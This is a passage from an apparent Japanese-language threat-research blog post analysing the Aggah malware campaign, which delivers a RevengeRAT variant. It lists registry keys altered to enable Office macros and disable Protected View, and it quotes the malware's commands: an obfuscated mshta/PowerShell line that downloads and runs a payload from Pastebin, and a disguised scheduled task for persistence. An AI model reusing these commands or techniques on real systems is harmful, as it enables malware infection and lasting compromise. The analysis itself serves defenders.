monospace;\">HKCU\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\VBAWarnings<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\16.0\\Word\\Security\\VBAWarnings<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\11.0\\PowerPoint\\Security\\VBAWarnings<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\12.0\\PowerPoint\\Security\\VBAWarnings<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\14.0\\PowerPoint\\Security\\VBAWarnings<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\15.0\\PowerPoint\\Security\\VBAWarnings<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\16.0\\PowerPoint\\Security\\VBAWarnings<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\11.0\\Excel\\Security\\VBAWarnings<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\12.0\\Excel\\Security\\VBAWarnings<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\14.0\\Excel\\Security\\VBAWarnings<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\15.0\\Excel\\Security\\VBAWarnings<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\VBAWarnings<\/span><\/p>\n<p>\u6b21\u306b\u3001\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u3001\u4ee5\u4e0b\u306e\u30ec\u30b8\u30b9\u30c8\u30ea \u30ad\u30fc\u306e\u5024\u3092\"1\"\u306b\u8a2d\u5b9a\u3057\u3066\u3001Word\u3001PowerPoint\u304a\u3088\u3073Excel\u5185\u306eProtectedView\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 \u30e1\u30ab\u30cb\u30ba\u30e0\u3092\u7121\u52b9\u5316\u3057\u3088\u3046\u3068\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\11.0\\Word\\Security\\ProtectedView\\DisableInternetFilesInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\11.0\\Word\\Security\\ProtectedView\\DisableAttachementsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\11.0\\Word\\Security\\ProtectedView\\DisableUnsafeLocationsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\11.0\\PowerPoint\\Security\\ProtectedView\\DisableInternetFilesInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\11.0\\PowerPoint\\Security\\ProtectedView\\DisableAttachementsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\11.0\\PowerPoint\\Security\\ProtectedView\\DisableUnsafeLocationsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\11.0\\Excel\\Security\\ProtectedView\\DisableInternetFilesInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\11.0\\Excel\\Security\\ProtectedView\\DisableAttachementsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\11.0\\Excel\\Security\\ProtectedView\\DisableUnsafeLocationsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\12.0\\Word\\Security\\ProtectedView\\DisableInternetFilesInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\12.0\\Word\\Security\\ProtectedView\\DisableAttachementsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\12.0\\Word\\Security\\ProtectedView\\DisableUnsafeLocationsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\12.0\\PowerPoint\\Security\\ProtectedView\\DisableInternetFilesInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\12.0\\PowerPoint\\Security\\ProtectedView\\DisableAttachementsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\12.0\\PowerPoint\\Security\\ProtectedView\\DisableUnsafeLocationsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\12.0\\Excel\\Security\\ProtectedView\\DisableInternetFilesInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\12.0\\Excel\\Security\\ProtectedView\\DisableAttachementsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\12.0\\Excel\\Security\\ProtectedView\\DisableUnsafeLocationsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\14.0\\Word\\Security\\ProtectedView\\DisableInternetFilesInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\14.0\\Word\\Security\\ProtectedView\\DisableAttachementsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\14.0\\Word\\Security\\ProtectedView\\DisableUnsafeLocationsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\14.0\\PowerPoint\\Security\\ProtectedView\\DisableInternetFilesInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\14.0\\PowerPoint\\Security\\ProtectedView\\DisableAttachementsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\14.0\\PowerPoint\\Security\\ProtectedView\\DisableUnsafeLocationsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\14.0\\Excel\\Security\\ProtectedView\\DisableInternetFilesInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\14.0\\Excel\\Security\\ProtectedView\\DisableAttachementsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\14.0\\Excel\\Security\\ProtectedView\\DisableUnsafeLocationsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\ProtectedView\\DisableInternetFilesInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\ProtectedView\\DisableAttachementsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\ProtectedView\\DisableUnsafeLocationsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\15.0\\PowerPoint\\Security\\ProtectedView\\DisableInternetFilesInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\15.0\\PowerPoint\\Security\\ProtectedView\\DisableAttachementsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\15.0\\PowerPoint\\Security\\ProtectedView\\DisableUnsafeLocationsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\15.0\\Excel\\Security\\ProtectedView\\DisableInternetFilesInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\15.0\\Excel\\Security\\ProtectedView\\DisableAttachementsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\15.0\\Excel\\Security\\ProtectedView\\DisableUnsafeLocationsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\16.0\\Word\\Security\\ProtectedView\\DisableInternetFilesInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\16.0\\Word\\Security\\ProtectedView\\DisableAttachementsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\16.0\\Word\\Security\\ProtectedView\\DisableUnsafeLocationsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\16.0\\PowerPoint\\Security\\ProtectedView\\DisableInternetFilesInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\16.0\\PowerPoint\\Security\\ProtectedView\\DisableAttachementsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\16.0\\PowerPoint\\Security\\ProtectedView\\DisableUnsafeLocationsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\\DisableInternetFilesInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\\DisableAttachementsInPV<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\\DisableUnsafeLocationsInPV<\/span><\/p>\n<p>\u30ec\u30b8\u30b9\u30c8\u30ea \u30ad\u30fc\u3092\u5909\u66f4\u3059\u308b\u547d\u4ee4\u3092\u542b\u3081\u3001\u30de\u30af\u30ed\u3092\u6709\u52b9\u306b\u3057\u3001Office\u5185\u306eProtectedView\u3092\u7121\u52b9\u306b\u3059\u308b\u624b\u6cd5\u306b\u3064\u3044\u3066\u306f\u3001\u5f0a\u793e\u306e<a href=\"https:\/\/unit42.paloaltonetworks.com\/unit42-gorgon-group-slithering-nation-state-cybercrime\/\">Gorgon Group\u3092\u53d6\u308a\u4e0a\u3052\u305f\u30d6\u30ed\u30b0\u3067\u3082\u8aac\u660e\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/a>\u307e\u305f\u3001Windows Defender\u3068Microsoft Office\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30d7\u30ed\u30bb\u30b9\u3092\u505c\u6b62\u3059\u308b\u7b56\u7565\u306f\u3001\u540c\u69d8\u306bGorgon\u306b\u3088\u3063\u3066\u3082\u884c\u308f\u308c\u3066\u3044\u307e\u3059\u3002Gorgon Group\u3082\u307e\u305f\u3001\u305d\u306e\u653b\u6483\u306e\u4e2d\u3067bitly URL\u77ed\u7e2e\u30b5\u30fc\u30d3\u30b9\u3092\u4f7f\u7528\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3089\u306f\u660e\u3089\u304b\u306b\u624b\u6cd5\u3068\u3057\u3066\u91cd\u306a\u308a\u307e\u3059\u304c\u3001\u5f0a\u793e\u3067\u306f\u307e\u3060\u3001\u3053\u306e\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u304cGorgon\u306b\u95a2\u9023\u3059\u308b\u3068\u3044\u3046\u5177\u4f53\u7684\u306a\u8a3c\u62e0\u3092\u898b\u3064\u3051\u3066\u3044\u307e\u305b\u3093\u3002<\/p>\n<p>Blogspot\u3067\u30db\u30b9\u30c8\u3055\u308c\u3066\u3044\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u3001\u305d\u306e\u5f8c\u3001\u4ee5\u4e0b\u3092\u542b\u30803\u3064\u306e\u4e3b\u8981\u306a\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002<\/p>\n<ol>\n<li>Pastebin URL\u304b\u3089\u306e\u307a\u30a4\u30ed\u30fc\u30c9\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9<\/li>\n<li>Pastebin URL\u304b\u3089\u5b9a\u671f\u7684\u306b\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u53d6\u5f97\u3057\u3066\u5b9f\u884c\u3059\u308b\u305f\u3081\u306e\u30b9\u30b1\u30b8\u30e5\u30fc\u30eb\u3055\u308c\u305f\u30bf\u30b9\u30af\u306e\u4f5c\u6210<\/li>\n<li>Pastebin URL\u304b\u3089\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u53d6\u5f97\u3057\u3066\u5b9f\u884c\u3059\u308b\u305f\u3081\u306e\u81ea\u52d5\u5b9f\u884c\u30ec\u30b8\u30b9\u30c8\u30ea \u30ad\u30fc\u306e\u4f5c\u6210<\/li>\n<\/ol>\n<h2>Pastebin\u304b\u3089\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u306e\u53d6\u5f97<\/h2>\n<p>Blogspot\u3067\u30db\u30b9\u30c8\u3055\u308c\u3066\u3044\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u3001Pastebin URL\u304b\u3089Portable Executable\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u53d6\u5f97\u3057\u3001\u305d\u308c\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002\u3053\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u3001\u6b21\u306e\u30b3\u30de\u30f3\u30c9\u3092\u4f5c\u6210\u3057\u3001WScript.Shell\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u4f7f\u7528\u3057\u3066\u3001\u305d\u308c\u3092\u5b9f\u884c\u3057\u3088\u3046\u3068\u3057\u307e\u3059\u3002<\/p>\n<pre>mshta.exe vbscript:CreateObject(\"\"Wscript.Shell\"\").Run(\"\"powershell.exe -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString(\\'h\\'+\\'t\\'+\\'t\\'+\\'p\\'+\\'s:\\'+\\'\/\/p\\'+\\'a\\'+\\'s\\'+\\'t\\'+\\'e\\'+\\'b\\'+\\'i\\'+\\'n\\'+\\'.\\'+\\'c\\'+\\'o\\'+\\'m\\'+\\'\/\\'+\\'r\\'+\\'a\\'+\\'w\\'+\\'\/\\'+\\'2LDaeHE1\\'))).EntryPoint.Invoke($N,$N)\"\",0,true)(window.close)\r\n<\/pre>\n<p>\u4e0a\u8a18\u306e\u30b3\u30de\u30f3\u30c9\u306f\u3001https:\/\/pastebin[.]com\/raw\/2LDaeHE1\u3067Pastebin\u4e0a\u3067\u30db\u30b9\u30c8\u3055\u308c\u3066\u3044\u308bPortable Executable\u30d5\u30a1\u30a4\u30eb\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3001\u305d\u306eURL\u304b\u3089\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u305fbase64\u3092\u30c7\u30b3\u30fc\u30c9\u3057\u3066\u3001\u305d\u308c\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002\u56f36\u306f\u3001\u30b9\u30af\u30ea\u30d7\u30c8\u306b\u3088\u3063\u3066\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u305f\u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u3092\u30db\u30b9\u30c8\u3057\u3066\u3044\u308bPastebin\u30da\u30fc\u30b8\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101412\" aria-describedby=\"caption-attachment-101412\" style=\"width: 949px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101412 size-full lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-193.png\" alt=\"\u56f36.2LDaeHE1 Pastebin\u30da\u30fc\u30b8\" width=\"949\" height=\"462\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-193.png 949w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-193-300x146.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-193-768x374.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-193-380x184.png 380w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-193-900x438.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-193-370x180.png 370w\" sizes=\"(max-width: 949px) 100vw, 949px\" \/><figcaption id=\"caption-attachment-101412\" class=\"wp-caption-text\">\u56f36.2LDaeHE1 Pastebin\u30da\u30fc\u30b8<\/figcaption><\/figure>\n<p>\u30c7\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u4ee5\u4e0b\u306e\u5c5e\u6027\u3092\u5099\u3048\u3066\u3044\u307e\u3059\u3002<\/p>\n<table>\n<tbody>\n<tr>\n<td>SHA256<\/td>\n<td>b9b67c885200f90eaf9c4911b3a7f5e6707bcb51d1b892df1bde110 13a60f6b5<\/td>\n<\/tr>\n<tr>\n<td>\u30b3\u30f3\u30d1\u30a4\u30eb\u6642\u523b<\/td>\n<td>2019-03-20 19:43:08<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><em>\u88682.pastebin[.]com\/raw\/2LDaeHE1\u304b\u3089\u306e\u30c7\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30da\u30a4\u30ed\u30fc\u30c9<\/em><\/p>\n<figure id=\"attachment_101414\" aria-describedby=\"caption-attachment-101414\" style=\"width: 974px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101414 size-full lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-194.png\" alt=\"\u56f37.RevengeRAT\u306e\u8a2d\u5b9a\" width=\"974\" height=\"443\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-194.png 974w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-194-300x136.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-194-768x349.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-194-900x409.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-194-370x168.png 370w\" sizes=\"(max-width: 974px) 100vw, 974px\" \/><figcaption id=\"caption-attachment-101414\" class=\"wp-caption-text\">\u56f37.RevengeRAT\u306e\u8a2d\u5b9a<\/figcaption><\/figure>\n<p>\u3053\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u306fVB.NET\u3067\u8a18\u8ff0\u3055\u308c\u3001\"Nuclear Explosion\"\u3068\u3044\u3046\u540d\u524d\u304c\u4ed8\u3051\u3089\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u308c\u306f\u3001\u56f37\u306b\u793a\u3059\u3068\u304a\u308a\u3001C2\u7528\u306e\u30c9\u30e1\u30a4\u30f3\"lulla.duckdns[.]org\"\u3092\u4f7f\u7528\u3059\u308b\u3088\u3046\u306b\u8a2d\u5b9a\u3055\u308c\u305fRevengeRAT\u306e\u4e9c\u7a2e\u3067\u3059\u3002<\/p>\n<p>\u56f38\u306b\u898b\u3089\u308c\u308b\u8a2d\u5b9a\u306b\u3088\u308b\u3068\u3001C2\u30b5\u30fc\u30d0\u30fc\u3078\u306e\u30c7\u30fc\u30bf\u306e\u9001\u4fe1\u6642\u306b\u3001\u6587\u5b57\u5217\"hagga\"\u3092\u4f7f\u7528\u3057\u3066\u60c5\u5831\u3092\u5206\u5272\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306f\u3001\u56f36\u306b\u898b\u3089\u308c\u308b\u30da\u30a4\u30ed\u30fc\u30c9\u60c5\u5831\u3092\u30db\u30b9\u30c8\u3057\u3066\u3044\u308bPasteBin\u30a2\u30ab\u30a6\u30f3\u30c8\u3068\u540c\u3058\u540d\u524d\u3067\u3042\u308a\u3001Aggah\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306e\u540d\u306f\u3053\u308c\u306b\u56e0\u3093\u3067\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101416\" aria-describedby=\"caption-attachment-101416\" style=\"width: 974px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101416 size-full lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-195.png\" alt=\"\u56f38.C2\u30b5\u30fc\u30d0\u30fc\u3078\u9001\u4fe1\u3055\u308c\u308b\u60c5\u5831\u3092\u5206\u5272\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u308b\u6587\u5b57\u5217&quot;hagga&quot;\u3092\u793a\u3059\u8a2d\u5b9a\" width=\"974\" height=\"387\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-195.png 974w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-195-300x119.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-195-768x305.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-195-900x358.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-195-370x147.png 370w\" sizes=\"(max-width: 974px) 100vw, 974px\" \/><figcaption id=\"caption-attachment-101416\" class=\"wp-caption-text\">\u56f38.C2\u30b5\u30fc\u30d0\u30fc\u3078\u9001\u4fe1\u3055\u308c\u308b\u60c5\u5831\u3092\u5206\u5272\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u308b\u6587\u5b57\u5217\"hagga\"\u3092\u793a\u3059\u8a2d\u5b9a<\/figcaption><\/figure>\n<h2>\u30b9\u30b1\u30b8\u30e5\u30fc\u30eb\u3055\u308c\u305f\u30bf\u30b9\u30af\u306e\u4f5c\u6210<\/h2>\n<p>Blogspot\u30d6\u30ed\u30b0\u3067\u30db\u30b9\u30c8\u3055\u308c\u3066\u3044\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u5225\u306e\u30b3\u30de\u30f3\u30c9\u3092\u7d44\u307f\u7acb\u3066\u3001100\u5206\u3054\u3068\u306b\u5b9f\u884c\u3059\u308b\u3001\"eScan Backup\"\u3068\u547c\u3070\u308c\u308b\u30b9\u30b1\u30b8\u30e5\u30fc\u30eb\u3055\u308c\u305f\u30bf\u30b9\u30af\u3092\u4f5c\u6210\u3057\u307e\u3059\u3002\u3053\u306e\u30b9\u30b1\u30b8\u30e5\u30fc\u30eb\u3055\u308c\u305f\u30bf\u30b9\u30af\u3092\u4f5c\u6210\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u305f\u30b9\u30af\u30ea\u30d7\u30c8\u306b\u3088\u3063\u3066\u751f\u6210\u3055\u308c\u308b\u30b3\u30de\u30f3\u30c9\u6587\u5b57\u5217\u306f\u3001\u6b21\u306e\u3068\u304a\u308a\u3067\u3059\u3002<\/p>\n<pre>schtasks \/create \/sc MINUTE \/mo 100 \/tn eScan Backup \/tr \"\"mshta vbscript:CreateObject(\"\"Wscript.Shell\"\").Run(\"\"mshta.exe https:\/\/pastebin[.]com\/raw\/tb5gHu2G\"\",0,true)(window.close)\"\" \/F '\r\n<\/pre>\n<figure id=\"attachment_101418\" aria-describedby=\"caption-attachment-101418\" style=\"width: 974px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101418 size-full lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-196.png\" alt=\"\u56f39.Pastebin URL\u306b\u5230\u9054\u3057\u3001100\u5206\u3054\u3068\u306b\u30db\u30b9\u30c8\u3055\u308c\u305f\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u5b9f\u884c\u3059\u308b\u305f\u3081\u306b\u4f5c\u6210\u3055\u308c\u308b\u30b9\u30b1\u30b8\u30e5\u30fc\u30eb\u3055\u308c\u305f\u30bf\u30b9\u30af\" width=\"974\" height=\"297\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-196.png 974w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-196-300x91.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-196-768x234.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-196-900x274.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-196-370x113.png 370w\" sizes=\"(max-width: 974px) 100vw, 974px\" \/><figcaption id=\"caption-attachment-101418\" class=\"wp-caption-text\">\u56f39.Pastebin URL\u306b\u5230\u9054\u3057\u3001100\u5206\u3054\u3068\u306b\u30db\u30b9\u30c8\u3055\u308c\u305f\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u5b9f\u884c\u3059\u308b\u305f\u3081\u306b\u4f5c\u6210\u3055\u308c\u308b\u30b9\u30b1\u30b8\u30e5\u30fc\u30eb\u3055\u308c\u305f\u30bf\u30b9\u30af<\/figcaption><\/figure>\n<p>\"eScan Backup\"\u30bf\u30b9\u30af\u306f\u3001\u7d44\u307f\u8fbc\u307f\u306emshta\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u4f7f\u7528\u3057\u3066\u3001Pastebin URL\u3001\u5177\u4f53\u7684\u306b\u306f\u3001hxxps:\/\/pastebin[.]com\/raw\/tb5gHu2G\u304b\u3089\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u307e\u3059\u3002\u5f0a\u793e\u3067\u306f\u3053\u308c\u3092\u5f15\u304d\u7d9a\u304dtb5gHu2G\u30b9\u30af\u30ea\u30d7\u30c8\u3068\u547c\u3073\u307e\u3059\u3002\u5f0a\u793e\u3067\u306f\u3001\u653b\u6483\u8005\u306f\u3001eScan\u30a2\u30f3\u30c1\u30a6\u30a4\u30eb\u30b9\u88fd\u54c1\u306b\u95a2\u9023\u3057\u3066\u3044\u308b\u3068\u898b\u305b\u304b\u3051\u308b\u305f\u3081\u306b\"eScan Backup\"\u3068\u3044\u3046\u540d\u524d\u3092\u9078\u629e\u3057\u305f\u3082\u306e\u3068\u8003\u3048\u3066\u3044\u307e\u3059\u3002\u56f39\u306f\u3001Windows\u306e\u30bf\u30b9\u30af \u30b9\u30b1\u30b8\u30e5\u30fc\u30e9 \u30d7\u30ed\u30b0\u30e9\u30e0\u5185\u306e\u30b9\u30b1\u30b8\u30e5\u30fc\u30eb\u3055\u308c\u305f\u30bf\u30b9\u30af\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>tb5gHu2G\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u5b9f\u884c\u3059\u308b\u30b9\u30b1\u30b8\u30e5\u30fc\u30eb\u3055\u308c\u305f\u30bf\u30b9\u30af\u306f\u6c38\u7d9a\u6027\u3092\u76ee\u7684\u3068\u3057\u305f\u3082\u306e\u3067\u3059\u3002Windows Defender\u3092\u59a8\u5bb3\u3057\u3001Office\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u505c\u6b62\u3059\u308b\u305f\u3081\u306b\u540c\u3058\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3059\u308b\u304b\u3089\u3067\u3059\u3002\u307e\u305f\u3001tb5gHu2G\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u3001Blogspot\u30d6\u30ed\u30b0\u3067\u30db\u30b9\u30c8\u3055\u308c\u3066\u3044\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u3068\u540c\u3058VBScript\u3092\u5b9f\u884c\u3057\u3088\u3046\u3068\u3057\u307e\u3059\u3002\u3053\u308c\u306f\u3001\u56f36\u3067\u793a\u3057\u305f\"2LDaeHE1\" 